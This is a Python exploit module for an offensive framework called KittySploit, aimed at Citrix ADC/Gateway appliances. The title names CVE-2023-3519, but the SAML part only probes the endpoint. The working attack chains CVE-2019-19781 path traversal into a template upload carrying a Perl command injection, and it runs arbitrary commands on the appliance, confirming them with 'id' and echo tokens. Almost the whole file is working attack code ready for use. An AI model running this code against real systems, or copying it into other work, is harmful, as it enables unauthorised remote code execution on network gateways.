Citrix NetScaler SAML RCE Chain (CVE-2023-3519)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix NetScaler SAML endpoint RCE surface (CVE-2023-3519)."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Citrix NetScaler SAML RCE Chain (CVE-2023-3519)',
        'description': (
            'Targets CVE-2023-3519 on Citrix ADC/Gateway SAML IdP/Gateway configurations. '
            'Confirms /saml/login processing, then attempts CVE-2019-19781 template injection '
            'as a fallback when directory traversal is available on the same appliance.'
        ),
        'author': ['KittySploit Team', 'Assetnote'],
        'cve': ['CVE-2023-3519'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-3519',
            'https://www.assetnote.io/resources/research/analysis-of-cve-2023-3519-in-citrix-adc-and-netscaler-gateway',
        ],
        'tags': ['citrix', 'netscaler', 'saml', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2023_3519_detect',
                    'exploits/multi/http/citrix_adc_cve_2019_19781_rce',
                ],
            },
        },
    }

    try_19781 = OptBool(True, 'Attempt CVE-2019-19781 template fallback', required=False)

    def _saml_surface(self) -> bool:
        r = self.http_request(
            method='POST',
            path='/saml/login',
            data='SAMLRequest=test',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return False
        body = r.text or ''
        return 'SAML Assertion verification failed' in body or 'saml' in body.lower()

    def _traversal_ok(self) -> bool:
        r = self.http_request(method='GET', path='/vpn/../vpns/cfg/smb.conf', allow_redirects=False)
        return bool(r and r.status_code == 200 and '[global]' in (r.text or ''))

    def _template_exec(self, cmd: str) -> str:
        name = secrets.token_hex(4)
        safe = str(cmd).replace('`', '').replace('"', '\\"')
        xml = (
            '<?xml version="1.0" encoding="UTF-8"?>'
            '<appfwscript><a>%!( `/usr/bin/perl -e \'exec '
            f'"{safe}"\'` );</a></appfwscript>'
        )
        upload = (
            f'/vpn/../vpns/portal/scripts/newbm.pl/url/127.0.0.1/'
            f'../../../../netscaler/portal/templates/{name}/{name}.xml'
        )
        self.http_request(method='GET', path=upload, data=xml, allow_redirects=False)
        trigger = f'/vpn/../vpns/portal/{name}.xml?cmd=echo&title={name}'
        r = self.http_request(method='GET', path=trigger, allow_redirects=False)
        return (r.text or '') if r else ''

    def execute(self, cmd: str) -> str:
        if self.try_19781 and self._traversal_ok():
            return self._template_exec(cmd)
        return ''

    def check(self):
        saml = self._saml_surface()
        trav = self._traversal_ok()
        if trav:
            body = self.execute('id')
            if re.search(r'uid=\d+', body or ''):
                return {
                    'vulnerable': True,
                    'reason': 'CVE-2019-19781 fallback RCE confirmed on Citrix appliance',
                    'confidence': 'high',
                }
        if saml or trav:
            return {
                'vulnerable': True,
                'reason': (
                    'Citrix SAML surface exposed (CVE-2023-3519)'
                    if saml
                    else 'Citrix traversal present — try CVE-2019-19781 chain'
                ),
                'confidence': 'medium' if saml else 'high',
            }
        return {'vulnerable': False, 'reason': 'Citrix SAML/traversal not detected', 'confidence': 'low'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            self.not_vulnerable(chk.get('reason'))
            return False
        print_warning(str(chk.get('reason')))
        if self.check_execute():
            return self.handler_execute()
        print_status('Chain exploit/multi/http/citrix_adc_cve_2019_19781_rce for confirmed traversal')
        return True